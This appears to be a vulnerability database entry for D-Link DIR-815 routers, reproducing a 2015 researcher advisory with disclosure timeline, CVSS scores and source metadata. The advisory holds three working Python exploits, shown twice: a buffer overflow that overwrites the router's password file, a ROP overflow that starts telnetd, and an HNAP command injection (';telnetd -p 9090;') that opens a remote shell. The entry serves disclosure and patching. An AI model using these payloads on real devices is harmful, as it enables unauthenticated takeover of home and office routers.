var-201507-0645
Vulnerability from variot

D-Link is an internationally renowned provider of network equipment and solutions, including a variety of router equipment. D-Link is a D-Link company dedicated to the research, development, production and marketing of local area networks, broadband networks, wireless networks, voice networks and related network equipment. A buffer overflow vulnerability exists in D-Link due to the program not performing correct boundary checks on user-submitted input. An attacker could use this vulnerability to execute arbitrary code in the context of an affected device and may also cause a denial of service. The following products are affected: D-Link Ethernet Broadband Router. ## Advisory Information

Title: DIR-815 Buffer overflows and Command injection in authentication and HNAP functionalities Vendors contacted: William Brown william.brown@dlink.com, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.

Product Description

DIR-815 -- Wireless N300 Dual Band Router. Mainly used by home and small offices.

Vulnerabilities Summary

Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed.

Details

Buffer overflow in auth

import urllib import urllib2

This exploits the auth_main.cgi with read buffer overflow exploit for v2.02

prequisite is just to have id and password fields in params

url = 'http://192.168.0.1/authentication.cgi' junk = "A"1004+"B"37+"\x58\xf8\x40\x00" # address of system function in executable junk+="X"*164+'echo "Admin" "Admin" "0" > /var/passwd\x00'+"AAAA" values = "id=test&password=test&test="+junk

req = urllib2.Request(url, values) response = urllib2.urlopen(req) the_page = response.read()


Buffer overflow in HNAP

import socket import struct

format junk+ROP1(have right value in A0) + ROP2(add or subtract to create right system address) + ROP3(Jump to right address)

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"H"286 buf+= "\x40\xF4\xB1\x2A" # (ROP gadget which puts right value in A0) buf+= "B"20+"ZZZZ"+"telnetd -p 6778"+"C"*5 # adjustment to get to the right payload buf+="\xA0\xb2\xb4\x2a" # The system address is 2Ab4b200 so changing that in GDB just before jumping to test if it works which it does not buf+= "\r\n" + "1\r\n\r\n"

print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("1.2.3.4", 80)) s.send(buf)


Command injection in

import socket import struct

CSRF or any other trickery, but probably only works when connected to network I suppose

buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 99.249.143.124\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';telnetd -p 9090;\r\n' + "1\r\n\r\n"

print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.0.1", 80)) s.send(buf)


Report Timeline

  • April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
  • July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
  • Nov 13, 2015: A public advisory is sent to security mailing lists.

Credit

This vulnerability was found by Samuel Huntley (samhuntley84@gmail.com)

Show details on source website


{
  "@context": {
    "@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
    "affected_products": {
      "@id": "https://www.variotdbs.pl/ref/affected_products"
    },
    "configurations": {
      "@id": "https://www.variotdbs.pl/ref/configurations"
    },
    "credits": {
      "@id": "https://www.variotdbs.pl/ref/credits"
    },
    "cvss": {
      "@id": "https://www.variotdbs.pl/ref/cvss/"
    },
    "description": {
      "@id": "https://www.variotdbs.pl/ref/description/"
    },
    "exploit_availability": {
      "@id": "https://www.variotdbs.pl/ref/exploit_availability/"
    },
    "external_ids": {
      "@id": "https://www.variotdbs.pl/ref/external_ids/"
    },
    "iot": {
      "@id": "https://www.variotdbs.pl/ref/iot/"
    },
    "iot_taxonomy": {
      "@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
    },
    "patch": {
      "@id": "https://www.variotdbs.pl/ref/patch/"
    },
    "problemtype_data": {
      "@id": "https://www.variotdbs.pl/ref/problemtype_data/"
    },
    "references": {
      "@id": "https://www.variotdbs.pl/ref/references/"
    },
    "sources": {
      "@id": "https://www.variotdbs.pl/ref/sources/"
    },
    "sources_release_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_release_date/"
    },
    "sources_update_date": {
      "@id": "https://www.variotdbs.pl/ref/sources_update_date/"
    },
    "threat_type": {
      "@id": "https://www.variotdbs.pl/ref/threat_type/"
    },
    "title": {
      "@id": "https://www.variotdbs.pl/ref/title/"
    },
    "type": {
      "@id": "https://www.variotdbs.pl/ref/type/"
    }
  },
  "@id": "https://www.variotdbs.pl/vuln/VAR-201507-0645",
  "affected_products": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/affected_products#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "model": "ethernet broadband router",
        "scope": null,
        "trust": 1.2,
        "vendor": "dlink",
        "version": null
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      }
    ]
  },
  "credits": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/credits#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Samuel Huntley",
    "sources": [
      {
        "db": "PACKETSTORM",
        "id": "134368"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-010"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-011"
      }
    ],
    "trust": 1.3
  },
  "cvss": {
    "@context": {
      "cvssV2": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
      },
      "cvssV3": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
      },
      "severity": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/cvss/severity#"
        },
        "@id": "https://www.variotdbs.pl/ref/cvss/severity"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        },
        "@id": "https://www.variotdbs.pl/ref/sources"
      }
    },
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "PARTIAL",
            "baseScore": 7.5,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2015-05077",
            "impactScore": 6.4,
            "integrityImpact": "PARTIAL",
            "severity": "HIGH",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "CNVD",
            "availabilityImpact": "PARTIAL",
            "baseScore": 7.5,
            "confidentialityImpact": "PARTIAL",
            "exploitabilityScore": 10.0,
            "id": "CNVD-2015-05076",
            "impactScore": 6.4,
            "integrityImpact": "PARTIAL",
            "severity": "HIGH",
            "trust": 0.6,
            "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
            "version": "2.0"
          }
        ],
        "cvssV3": [],
        "severity": [
          {
            "author": "CNVD",
            "id": "CNVD-2015-05077",
            "trust": 0.6,
            "value": "HIGH"
          },
          {
            "author": "CNVD",
            "id": "CNVD-2015-05076",
            "trust": 0.6,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      }
    ]
  },
  "description": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/description#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "D-Link is an internationally renowned provider of network equipment and solutions, including a variety of router equipment. D-Link is a D-Link company dedicated to the research, development, production and marketing of local area networks, broadband networks, wireless networks, voice networks and related network equipment. \nA buffer overflow vulnerability exists in D-Link due to the program not performing correct boundary checks on user-submitted input. An attacker could use this vulnerability to execute arbitrary code in the context of an affected device and may also cause a denial of service. The following products are affected: D-Link Ethernet Broadband Router. ## Advisory Information\n\nTitle: DIR-815 Buffer overflows and Command injection in authentication and HNAP functionalities\nVendors contacted: William Brown \u003cwilliam.brown@dlink.com\u003e, Patrick Cline patrick.cline@dlink.com(Dlink)\nCVE: None\n\nNote: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, \nhttp://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061\n\nHowever, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. \n\n## Product Description\n\nDIR-815 -- Wireless N300 Dual Band Router. Mainly used by home and small offices. \n\n## Vulnerabilities Summary\n\nHave come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. \n\n## Details\n\nBuffer overflow in auth \n----------------------------------------------------------------------------------------------------------------------\nimport urllib\nimport urllib2\n\n# This exploits the auth_main.cgi with read buffer overflow exploit for v2.02\n# prequisite is just to have id and password fields in params\n\nurl = \u0027http://192.168.0.1/authentication.cgi\u0027\njunk = \"A\"*1004+\"B\"*37+\"\\x58\\xf8\\x40\\x00\" # address of system function in executable\njunk+=\"X\"*164+\u0027echo  \"Admin\" \"Admin\" \"0\" \u003e /var/passwd\\x00\u0027+\"AAAA\"\nvalues = \"id=test\u0026password=test\u0026test=\"+junk\n\n\nreq = urllib2.Request(url, values)\nresponse = urllib2.urlopen(req)\nthe_page = response.read()\n\n----------------------------------------------------------------------------------------------------------------------\n\nBuffer overflow in HNAP\n----------------------------------------------------------------------------------------------------------------------\nimport socket\nimport struct\n\n\n# format junk+ROP1(have right value in A0) + ROP2(add or subtract to create right system address) + ROP3(Jump to right address)\n\nbuf = \"POST /HNAP1/ HTTP/1.0\\r\\nHOST: 192.168.1.8\\r\\nUser-Agent: test\\r\\nContent-Length: 1\\r\\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX\" + \";sh;\"+\"H\"*286 \nbuf+= \"\\x40\\xF4\\xB1\\x2A\" # (ROP gadget which puts right value in A0)\nbuf+= \"B\"*20+\"ZZZZ\"+\"telnetd -p 6778\"+\"C\"*5 # adjustment to get to the right payload\nbuf+=\"\\xA0\\xb2\\xb4\\x2a\" # The system address is 2Ab4b200 so changing that in GDB just before jumping to test if it works which it does not\nbuf+= \"\\r\\n\" + \"1\\r\\n\\r\\n\"\n \nprint \"[+] sending buffer size\", len(buf)\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"1.2.3.4\", 80))\ns.send(buf)\n\n\n----------------------------------------------------------------------------------------------------------------------\n\nCommand injection in \n----------------------------------------------------------------------------------------------------------------------\nimport socket\nimport struct\n\n# CSRF or any other trickery, but probably only works when connected to network I suppose \n\nbuf = \"POST /HNAP1/ HTTP/1.0\\r\\nHOST: 99.249.143.124\\r\\nUser-Agent: test\\r\\nContent-Length: 1\\r\\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX\" + \u0027;telnetd -p 9090;\\r\\n\u0027 + \"1\\r\\n\\r\\n\"\n \nprint \"[+] sending buffer size\", len(buf)\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((\"192.168.0.1\", 80))\ns.send(buf)\n\n----------------------------------------------------------------------------------------------------------------------\n\n## Report Timeline\n\n* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. \n* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor\n* Nov 13, 2015: A public advisory is sent to security mailing lists. \n\n## Credit\n\nThis vulnerability was found by Samuel Huntley (samhuntley84@gmail.com)",
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-010"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-011"
      },
      {
        "db": "PACKETSTORM",
        "id": "134368"
      }
    ],
    "trust": 2.25
  },
  "external_ids": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/external_ids#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "db": "BID",
        "id": "76012",
        "trust": 1.2
      },
      {
        "db": "BID",
        "id": "76014",
        "trust": 1.2
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077",
        "trust": 0.6
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05076",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-010",
        "trust": 0.6
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-011",
        "trust": 0.6
      },
      {
        "db": "DLINK",
        "id": "SAP10061",
        "trust": 0.1
      },
      {
        "db": "DLINK",
        "id": "SAP10060",
        "trust": 0.1
      },
      {
        "db": "PACKETSTORM",
        "id": "134368",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      },
      {
        "db": "PACKETSTORM",
        "id": "134368"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-010"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-011"
      }
    ]
  },
  "id": "VAR-201507-0645",
  "iot": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": true,
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      }
    ],
    "trust": 2.2
  },
  "iot_taxonomy": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "category": [
          "IoT",
          "Network device"
        ],
        "sub_category": null,
        "trust": 1.2
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      }
    ]
  },
  "last_update_date": "2024-07-23T22:41:18.832000Z",
  "patch": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/patch#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "title": "Patch for multiple D-Link product UPnP buffer overflow vulnerabilities",
        "trust": 0.6,
        "url": "https://www.cnvd.org.cn/patchinfo/show/61829"
      },
      {
        "title": "Patch for multiple D-Link product HTTP buffer overflow vulnerabilities",
        "trust": 0.6,
        "url": "https://www.cnvd.org.cn/patchinfo/show/61827"
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      }
    ]
  },
  "references": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/references#",
      "data": {
        "@container": "@list"
      },
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": [
      {
        "trust": 1.2,
        "url": "http://www.securityfocus.com/bid/76012"
      },
      {
        "trust": 1.2,
        "url": "http://www.securityfocus.com/bid/76014"
      },
      {
        "trust": 0.1,
        "url": "http://securityadvisories.dlink.com/security/publication.aspx?name=sap10060,"
      },
      {
        "trust": 0.1,
        "url": "http://securityadvisories.dlink.com/security/publication.aspx?name=sap10061"
      },
      {
        "trust": 0.1,
        "url": "http://192.168.0.1/authentication.cgi\u0027"
      },
      {
        "trust": 0.1,
        "url": "http://purenetworks.com/hnap1/getdevicesettings/xx\""
      }
    ],
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      },
      {
        "db": "PACKETSTORM",
        "id": "134368"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-010"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-011"
      }
    ]
  },
  "sources": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      },
      {
        "db": "PACKETSTORM",
        "id": "134368"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-010"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-011"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2015-08-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "date": "2015-08-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      },
      {
        "date": "2015-11-16T17:32:23",
        "db": "PACKETSTORM",
        "id": "134368"
      },
      {
        "date": "2015-07-23T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201508-010"
      },
      {
        "date": "2015-07-17T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201508-011"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2015-08-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      },
      {
        "date": "2015-08-03T00:00:00",
        "db": "CNVD",
        "id": "CNVD-2015-05076"
      },
      {
        "date": "2015-08-04T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201508-010"
      },
      {
        "date": "2015-08-04T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201508-011"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-010"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-011"
      }
    ],
    "trust": 1.2
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "Multiple D-Link Product UPnP Buffer Overflow Vulnerabilities",
    "sources": [
      {
        "db": "CNVD",
        "id": "CNVD-2015-05077"
      }
    ],
    "trust": 0.6
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "buffer overflow",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-010"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201508-011"
      }
    ],
    "trust": 1.2
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading...

Loading...